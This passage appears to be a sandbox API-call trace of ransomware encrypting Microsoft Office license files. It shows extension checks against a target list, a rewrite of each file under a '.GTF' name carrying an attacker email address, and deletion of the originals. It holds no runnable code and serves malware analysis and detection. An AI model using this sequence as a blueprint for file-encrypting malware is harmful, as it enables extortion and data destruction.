	[0180.132] lstrlenW (lpString=".xlsx") returned 5
	[0180.132] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.132] lstrlenW (lpString=".ppt") returned 4
	[0180.132] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.132] lstrlenW (lpString=".zip") returned 4
	[0180.132] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.132] lstrlenW (lpString=".rar") returned 4
	[0180.132] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.132] lstrlenW (lpString=".bz2") returned 4
	[0180.132] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.132] lstrlenW (lpString=".7z") returned 3
	[0180.132] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString=".dbf") returned 4
	[0180.133] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString=".1cd") returned 4
	[0180.133] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString=".jpg") returned 4
	[0180.133] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString=".doc") returned 4
	[0180.133] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString=".docx") returned 5
	[0180.133] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.133] lstrlenW (lpString=".pdf") returned 4
	[0180.133] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString=".xls") returned 4
	[0180.133] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString=".xlsx") returned 5
	[0180.133] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.133] lstrlenW (lpString=".ppt") returned 4
	[0180.133] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString=".zip") returned 4
	[0180.133] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString=".rar") returned 4
	[0180.133] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString=".bz2") returned 4
	[0180.133] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.133] lstrlenW (lpString=".7z") returned 3
	[0180.133] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.133] lstrlenW (lpString=".dbf") returned 4
	[0180.133] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.134] lstrlenW (lpString=".1cd") returned 4
	[0180.134] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.134] lstrlenW (lpString=".jpg") returned 4
	[0180.134] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.134] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.134] lstrlenW (lpString="O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 37
	[0180.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.135] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11635) returned 1
	[0180.135] CloseHandle (hObject=0x3d4) returned 1
	[0180.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0180.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.135] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.135] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.136] GetLastError () returned 0x0
	[0180.136] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0180.138] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.139] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.139] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.139] SetEndOfFile (hFile=0x53c) returned 1
	[0180.139] CloseHandle (hObject=0x53c) returned 1
	[0180.139] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.139] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.142] CloseHandle (hObject=0x3d4) returned 1
	[0180.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0180.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.143] lstrlenW (lpString=".doc") returned 4
	[0180.143] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.143] lstrlenW (lpString=".docx") returned 5
	[0180.143] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.143] lstrlenW (lpString=".pdf") returned 4
	[0180.143] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.143] lstrlenW (lpString=".xls") returned 4
	[0180.143] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.143] lstrlenW (lpString=".xlsx") returned 5
	[0180.143] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.143] lstrlenW (lpString=".ppt") returned 4
	[0180.144] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.144] lstrlenW (lpString=".zip") returned 4
	[0180.144] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString=".rar") returned 4
	[0180.144] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString=".bz2") returned 4
	[0180.144] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString=".7z") returned 3
	[0180.144] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.144] lstrlenW (lpString=".dbf") returned 4
	[0180.144] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.144] lstrlenW (lpString=".1cd") returned 4
	[0180.144] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.144] lstrlenW (lpString=".jpg") returned 4
	[0180.144] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.144] lstrlenW (lpString=".doc") returned 4
	[0180.144] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString=".docx") returned 5
	[0180.144] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.144] lstrlenW (lpString=".pdf") returned 4
	[0180.144] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString=".xls") returned 4
	[0180.144] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.144] lstrlenW (lpString=".xlsx") returned 5
	[0180.144] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.144] lstrlenW (lpString=".ppt") returned 4
	[0180.144] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.145] lstrlenW (lpString=".zip") returned 4
	[0180.145] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.145] lstrlenW (lpString=".rar") returned 4
	[0180.145] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.145] lstrlenW (lpString=".bz2") returned 4
	[0180.145] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.145] lstrlenW (lpString=".7z") returned 3
	[0180.145] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.145] lstrlenW (lpString=".dbf") returned 4
	[0180.145] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.145] lstrlenW (lpString=".1cd") returned 4
	[0180.145] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0180.145] lstrlenW (lpString=".jpg") returned 4
	[0180.145] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.145] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.145] lstrlenW (lpString="O365HomePremR_SubTrial4-pl.xrm-ms") returned 33
	[0180.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.146] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11183) returned 1
	[0180.146] CloseHandle (hObject=0x3d4) returned 1
	[0180.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 0x220
	[0180.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.146] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.146] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.147] GetLastError () returned 0x0
	[0180.147] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0180.299] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0180.300] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.300] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0180.300] SetEndOfFile (hFile=0x53c) returned 1
	[0180.300] CloseHandle (hObject=0x53c) returned 1
	[0180.300] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.300] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.303] CloseHandle (hObject=0x3d4) returned 1
	[0180.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 1
	[0180.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.305] lstrlenW (lpString=".doc") returned 4
	[0180.305] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString=".docx") returned 5
	[0180.305] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.305] lstrlenW (lpString=".pdf") returned 4
	[0180.305] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString=".xls") returned 4
	[0180.305] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString=".xlsx") returned 5
	[0180.305] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.305] lstrlenW (lpString=".ppt") returned 4
	[0180.305] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.305] lstrlenW (lpString=".zip") returned 4
	[0180.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString=".rar") returned 4
	[0180.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString=".bz2") returned 4
	[0180.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString=".7z") returned 3
	[0180.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.305] lstrlenW (lpString=".dbf") returned 4
	[0180.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.305] lstrlenW (lpString=".1cd") returned 4
	[0180.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString=".jpg") returned 4
	[0180.306] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString=".doc") returned 4
	[0180.306] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString=".docx") returned 5
	[0180.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.306] lstrlenW (lpString=".pdf") returned 4
	[0180.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString=".xls") returned 4
	[0180.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString=".xlsx") returned 5
	[0180.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.306] lstrlenW (lpString=".ppt") returned 4
	[0180.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString=".zip") returned 4
	[0180.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString=".rar") returned 4
	[0180.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString=".bz2") returned 4
	[0180.306] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString=".7z") returned 3
	[0180.306] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString=".dbf") returned 4
	[0180.306] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString=".1cd") returned 4
	[0180.306] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0180.306] lstrlenW (lpString=".jpg") returned 4
	[0180.306] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.307] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.307] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 41
	[0180.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.307] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11215) returned 1
	[0180.307] CloseHandle (hObject=0x3d4) returned 1
	[0180.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0180.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.308] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.308] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.309] GetLastError () returned 0x0
	[0180.309] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0180.311] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0180.312] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.312] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x126, lpOverlapped=0x0) returned 1
